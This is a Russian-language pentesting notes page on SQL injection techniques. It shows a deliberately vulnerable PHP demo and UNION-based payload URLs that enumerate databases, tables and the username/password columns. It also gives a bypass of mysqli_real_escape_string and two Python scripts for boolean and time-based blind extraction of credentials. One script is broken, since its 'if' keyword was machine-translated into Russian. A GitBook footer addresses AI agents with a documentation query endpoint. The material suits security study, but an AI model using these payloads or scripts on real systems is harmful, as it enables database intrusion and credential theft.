> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md).

# Техники SQL-инъекций

## SQL-инъекция на основе ошибок

> SQL-инъекция на основе ошибок использует ошибки в SQL-коде для получения информации. Например, если запрос возвращает ошибку с определённым сообщением, это сообщение можно использовать для получения информации о системе.

* PHP-файл веб-сайта, уязвимого к SQL-инъекции на основе ошибок, будет иметь похожую структуру:

```php
<?php
	$server = "localhost";
	$username = "jordan";
	$password = "passwordDB";
	$database = "Jordan";
	// Подключение к базе данных
	$conn = new mysqli($server, $username, $password, $database);
$id = $_GET['id'];
$data = mysqli_query ($conn, "select username from users where id = '$id'") or die (mysqli_error($conn));
$response = mysqli_fetch_array($data);
echo $response['username'];
?>

```

Проверка уязвимости путём выполнения **sleep** в URL:

```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -

```

Чтобы определить количество столбцов, используйте **order by** пока больше не получите одинаковые ошибки:

```bash
http://localhost/searchUsers.php?id=3' order by 4-- -

```

<figure><img src="/files/a34621c533a9836ae9450eb1405612dbc94b2e6e" alt=""><figcaption></figcaption></figure>

Когда количество столбцов известно, используйте **union select** для проверки уязвимости:

```bash
http://localhost/searchUsers.php?id=3' union select 1-- -

```

Если на предыдущем шаге возвращается ID, используйте несуществующий ID и **union select** чтобы получить имя текущей используемой базы данных:

```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -

```

Чтобы вывести список всех существующих баз данных:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -

```

<figure><img src="/files/b786714719432f68ebee56453f9253c0be289e3b" alt=""><figcaption></figcaption></figure>

Когда вы узнаете названия всех баз данных, используйте имя (Jordan), чтобы отфильтровать и просмотреть таблицу:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan'  -- -

```

<figure><img src="/files/4aedffaeb0657f62fef2355a2b5b644b562d3ad1" alt=""><figcaption></figcaption></figure>

Аналогично, с таблицей "users" можно просмотреть столбцы:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -

```

<figure><img src="/files/7458e19292def88dc080f57f57b2d50e5822a4ab" alt=""><figcaption></figcaption></figure>

Чтобы вывести столбцы (user и password):

```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -

```

<figure><img src="/files/559d78d2c2d846b263986ff13771c91596073052" alt=""><figcaption></figcaption></figure>

Чтобы просмотреть полный набор:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -

```

<figure><img src="/files/d1b3f15875af3d8a1481b1d8d12663ff68e6ea74" alt=""><figcaption></figcaption></figure>

## SQL с санитизацией "mysqli/\_real/\_escape/\_string"

Во многих случаях PHP-код выполняет небольшую санитизацию с помощью **mysqli/\_real/\_escape/\_string**. Однако это можно обойти, если кавычки в ID расставлены неправильно.

```php
<?php
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query ($conn, "select username from users where id = $id");
?>

```

В этом случае можно выполнить то же действие без использования одинарных кавычек:

```bash
http://localhost/searchUsers.php?id=9983 union select database()

```

## SQL-инъекция на основе булевых значений или по времени:

> SQL-инъекция по времени использует запрос, который выполняется долго, чтобы получить информацию. Например, если запрос выполняет поиск в таблице и к запросу добавляется задержка, эту задержку можно использовать для получения дополнительной информации.

***

> SQL-инъекция на основе булевых значений использует запросы с булевыми выражениями для получения дополнительной информации. Например, запрос с булевым выражением можно использовать, чтобы определить, существует ли пользователь в базе данных.

***

Во многих случаях веб-сайт перенаправляет на страницу **404 Не найдено** если ID указывает, что он не существует. Вот пример кода с функцией **http/\_response/\_code**:

```php
<?php
if (! isset($response['username'])){
	http_response_code(404);
}
?>

```

Визуальный пример кода состояния **404 Не найдено** и **200 OK** на **curl** если запрос неверен или верен:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"

```

<figure><img src="/files/229ac68cd4747f7c0cb0f78be31444caeefeb1d4" alt="" width="563"><figcaption></figcaption></figure>

Таким образом, для blind-атаки можно использовать две техники: условия или время.

### SQL-инъекция на основе булевых значений

Отправьте запрос, попробовав несуществующий ID **или если 1 = 1**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"

```

<figure><img src="/files/e3c6c6b9b01ed816fc116a9e1e212ba84db3558a" alt="" width="563"><figcaption></figcaption></figure>

С помощью приведённого ниже Python-скрипта можно использовать эту уязвимость для доступа к базе данных. В этом примере скрипт получает имена пользователей и пароли (файл необходимо изменить в соответствии с URL, именами таблиц, столбцами, базами данных и т. д., как было показано ранее, изменив переменную **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Выход... /n")
    sys.exit(1)
# Техники SQLi
signal.signal(signal.SIGINT, def_handler)
# Техники SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Грубый перебор")
    p1.status("Начало процесса перебора")
    time.sleep(2)
    p2 = log.progress("Извлечённые данные")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
            p1.status(sqli_url)
            r = requests.get(sqli_url)
            if r.status_code == 200:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/ae98d0411444133fa22eb6f0433543cd4b54ce23" alt="" width="563"><figcaption></figcaption></figure>

### SQL-инъекция по времени

Отправьте запрос, попробовав несуществующий ID или **sleep (0.35)**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"

```

С помощью приведённого ниже Python-скрипта можно использовать эту уязвимость для доступа к базе данных. В этом примере скрипт выводит имя базы данных (файл необходимо изменить в соответствии с URL, именами таблиц, столбцами, базами данных и т. д., как было показано ранее, изменив переменную **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Выход... /n")
    sys.exit(1)
# Техники SQLi
signal.signal(signal.SIGINT, def_handler)
# Техники SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Грубый перебор")
    p1.status("Начало процесса перебора")
    time.sleep(2)
    p2 = log.progress("Извлечённые данные")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
            p1.status(sqli_url)
            time_start = time.time()
            r = requests.get(sqli_url)
            time_end = time.time()
            если time_end - time_start > 0.35:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/a3f527dc239e7369f7877207e54422112e657bd8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
